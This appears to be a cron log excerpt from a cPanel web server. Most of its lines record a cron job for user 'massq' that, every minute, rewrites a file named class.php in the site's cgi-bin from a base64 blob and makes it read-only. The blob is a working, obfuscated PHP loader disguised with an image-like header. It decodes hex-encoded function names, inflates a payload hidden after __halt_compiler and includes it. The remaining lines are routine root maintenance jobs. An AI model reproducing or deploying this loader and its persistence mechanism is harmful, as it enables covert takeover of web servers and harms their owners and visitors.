UoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:07:01 server CROND[24382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:08:01 server CROND[24440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:09:01 server CROND[24570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:09:01 server CROND[24571]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 17:10:01 server CROND[24668]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:10:01 server CROND[24669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:10:01 server CROND[24670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 17:10:01 server CROND[24671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:11:01 server CROND[24783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:12:01 server CROND[24842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:12:01 server CROND[24843]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 17:13:01 server CROND[24903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:14:01 server CROND[25007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:15:01 server CROND[25218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:15:01 server CROND[25219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:15:01 server CROND[25220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:16:01 server CROND[25338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:17:01 server CROND[25403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:18:01 server CROND[25466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:19:01 server CROND[25528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:20:01 server CROND[25589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 17:20:01 server CROND[25590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:20:01 server CROND[25592]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:20:01 server CROND[25591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
